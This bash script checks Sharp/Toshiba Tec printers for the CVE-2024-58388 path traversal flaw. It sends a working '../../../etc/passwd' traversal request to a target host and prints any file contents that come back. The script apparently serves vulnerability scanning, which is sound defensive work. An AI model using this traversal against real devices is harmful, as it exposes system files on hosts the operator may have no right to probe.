Sharp

#!/usr/bin/env bash
# check_cve_2024_58388.sh — CVE-2024-58388 Sharp/Toshiba Tec MFP LFI check
# Usage: bash check_cve_2024_58388.sh <target_host> [port]
# Exit codes: 0=VULNERABLE, 1=PATCHED, 2=UNKNOWN

set -euo pipefail

TARGET="${1:-}"
PORT="${2:-80}"

if [[ -z "$TARGET" ]]; then
  echo "Usage: $0 <target_host> [port]"
  exit 2
fi

URL="http://${TARGET}:${PORT}/installed_emanual_down.html?path=/manual/../../../etc/passwd"

echo "[*] Testing CVE-2024-58388 against ${TARGET}:${PORT}"
echo "[*] Requesting: ${URL}"

HTTP_RESPONSE=$(curl -s -o /tmp/cve2024_58388_resp.txt -w "%{http_code}" \
  --connect-timeout 10 --max-time 30 "$URL" 2>/dev/null) || true

if [[ -z "$HTTP_RESPONSE" ]]; then
  echo "UNKNOWN — Could not connect to ${TARGET}:${PORT}"
  rm -f /tmp/cve2024_58388_resp.txt
  exit 2
fi

if [[ "$HTTP_RESPONSE" == "200" ]]; then
  # Check if the response contains /etc/passwd-like content
  if grep -qE '^root:' /tmp/cve2024_58388_resp.txt 2>/dev/null; then
    echo "VULNERABLE — /etc/passwd content returned (HTTP 200)"
    echo "[!] Confirmed: CVE-2024-58388 path traversal is exploitable"
    echo "[*] First 5 lines of response:"
    head -5 /tmp/cve2024_58388_resp.txt
    rm -f /tmp/cve2024_58388_resp.txt
    exit 0
  elif grep -qiE '(nobody|daemon|syslog|messagebus)' /tmp/cve2024_58388_resp.txt 2>/dev/null; then
    echo "VULNERABLE — /etc/passwd content detected (HTTP 200)"
    rm -f /tmp/cve2024_58388_resp.txt
    exit 0
  else
    echo "UNKNOWN — HTTP 200 returned but content does not match /etc/passwd"
    echo "[*] The endpoint exists but may be patched or returning different content"
    rm -f /tmp/cve2024_58388_resp.txt
    exit 2
  fi
elif [[ "$HTTP_RESPONSE" == "403" || "$HTTP_RESPONSE" == "404" ]]; then
  echo "PATCHED — Endpoint returned HTTP ${HTTP_RESPONSE} (blocked or removed)"
  rm -f /tmp/cve2024_58388_resp.txt
  exit 1
elif [[ "$HTTP_RESPONSE" == "301" || "$HTTP_RESPONSE" == "302" ]]; then
  echo "UNKNOWN — Redirect received (HTTP ${HTTP_RESPONSE}); may require HTTPS"
  echo "[*] Retry with: $0 ${TARGET} 443 (adjust script for HTTPS if needed)"
  rm -f /tmp/cve2024_58388_resp.txt
  exit 2
else
  echo "UNKNOWN — Unexpected HTTP response code: ${HTTP_RESPONSE}"
  rm -f /tmp/cve2024_58388_resp.txt
  exit 2
fi